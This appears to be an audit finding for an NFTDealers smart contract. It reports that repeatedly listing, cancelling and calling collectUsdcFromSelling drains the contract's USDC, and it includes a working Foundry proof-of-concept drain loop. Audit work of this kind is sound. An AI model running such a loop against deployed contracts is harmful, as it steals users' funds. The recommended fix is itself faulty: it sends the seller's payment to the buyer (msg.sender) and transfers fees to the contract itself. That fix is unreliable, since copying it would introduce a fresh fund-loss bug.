Root + Impact
Description
-
Due to the lack of proper checks in NFTDealersTest::collectUsdcFromSelling, to make sure an actual sale has taken place, a malicious user can call a sequence of functions to drain the USDC balance of the contract
-
The sequence of functions includes, list, cancelListing, and collectUsdcFromSelling.
function collectUsdcFromSelling(
uint256 _listingId
) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood: High
-
Due to the problematic logic of the program, any user (in the current buggy version, only whitelisted users) can call those functions consecutively and frequently enough to drain all the money in the contract's balance.
-
There is no mechanism to stop them. So, it is certain.
Impact: High
Proof of Concept
Please add the following function to the test file and run it using forge test --mt testExploiterCanDrainContractByCollectingSellingPriceWithoutSelling -vvv.
function testExploiterCanDrainContractByCollectingSellingPriceWithoutSelling()
public
whitelisted
revealed
{
usdc.mint(address(nftDealers), 100e6);
uint32 nftPrice = 20e6;
mintAndListNFTForTesting(1, nftPrice);
(, uint32 price, , , ) = nftDealers.s_listings(1);
uint256 fee = nftDealers.calculateFees(price);
uint256 amountToSeller = price - fee;
vm.startPrank(userWithCash);
uint256 balanceBeforeExploitation = usdc.balanceOf(address(nftDealers));
console.log("Balance before exploitation:", balanceBeforeExploitation);
while (usdc.balanceOf(address(nftDealers)) >= amountToSeller) {
nftDealers.cancelListing(1);
nftDealers.collectUsdcFromSelling(1);
nftDealers.list(1, nftPrice);
}
nftDealers.cancelListing(1);
vm.stopPrank();
uint256 balanceAfterExploitation = usdc.balanceOf(address(nftDealers));
console.log("Balance after exploitation:", balanceAfterExploitation);
assertLt(
balanceAfterExploitation,
balanceBeforeExploitation,
"The exploiter should be able to collect the Selling Price without selling the NFT, which drains the contract's money."
);
}
Recommended Mitigation
To Solve this issue, we should get rid of the collectUsdcFromSelling function, and combine the seller's payment logic into the buy function as follows.
-function collectUsdcFromSelling(
- uint256 _listingId
- ) external onlySeller(_listingId) {
- Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
- uint256 fees = _calculateFees(listing.price);
- uint256 amountToSeller = listing.price - fees;
- uint256 collateralToReturn = collateralForMinting[listing.tokenId];
- totalFeesCollected += fees;
- amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
- usdc.safeTransfer(msg.sender, amountToSeller);
- }
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(
listing.seller != msg.sender,
"Seller cannot buy their own NFT"
);
activeListingsCounter--;
bool success = usdc.transferFrom(
msg.sender,
address(this),
listing.price
);
require(success, "USDC transfer failed");
+ uint256 fees = _calculateFees(listing.price);
+ uint256 amountToSeller = listing.price - fees;
+ uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ totalFeesCollected += fees;
+ amountToSeller += collateralToReturn;
+ usdc.safeTransfer(address(this), fees);
+ usdc.safeTransfer(msg.sender, amountToSeller);
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
